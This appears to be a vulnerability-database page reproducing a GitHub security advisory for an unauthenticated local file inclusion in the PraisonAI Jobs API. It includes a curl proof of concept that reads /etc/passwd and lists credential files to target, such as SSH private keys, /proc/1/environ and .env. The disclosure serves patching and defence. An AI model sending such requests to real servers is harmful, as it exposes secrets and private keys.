GHSA-P4PJ-VH7H-6CQH

Vulnerability from github – Published: 2026-06-18 13:56 – Updated: 2026-07-20 21:24
VLAI
Summary
PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API
Details

Summary

An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the agent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.

Details

The agent_file field in JobSubmitRequest accepts any filesystem path with no validation:

# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
# NO path validator, NO allowlist

The executor reads the file directly:

# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
# passed directly to yaml.safe_load(open(agent_file))

Proof of Concept

curl -X POST http://:8005/api/v1/runs \
  -H "Content-Type: application/json" \
  -d '{"prompt": "run", "agent_file": "/etc/passwd"}'

Server responds with contents of /etc/passwd.

Other exploitable paths: - /proc/1/environ — environment variables, API keys - /home//.ssh/id_rsa — SSH private keys - /app/.env — application secrets

Impact

Any unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:56:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in the `agent_file` field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.\n\n### Details\nThe `agent_file` field in `JobSubmitRequest` accepts any filesystem path with no validation:\n\n```python\n# src/praisonai/praisonai/jobs/models.py:29\nagent_file: Optional[str] = Field(None, description=\"Path to agents.yaml file\")\n# NO path validator, NO allowlist\n```\n\nThe executor reads the file directly:\n\n```python\n# src/praisonai/praisonai/jobs/executor.py:221\nagent_file = job.agent_file or \"agents.yaml\"\n# passed directly to yaml.safe_load(open(agent_file))\n```\n\n### Proof of Concept\n\n```bash\ncurl -X POST http://:8005/api/v1/runs \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"prompt\": \"run\", \"agent_file\": \"/etc/passwd\"}\u0027\n```\n\nServer responds with contents of `/etc/passwd`.\n\nOther exploitable paths:\n- `/proc/1/environ` \u2014 environment variables, API keys\n- `/home//.ssh/id_rsa` \u2014 SSH private keys\n- `/app/.env` \u2014 application secrets\n\n### Impact\nAny unauthenticated attacker with network access to port 8005 can read any file accessible to the server process, including credentials, private keys, and environment variables.",
  "id": "GHSA-p4pj-vh7h-6cqh",
  "modified": "2026-07-20T21:24:29Z",
  "published": "2026-06-18T13:56:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-p4pj-vh7h-6cqh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…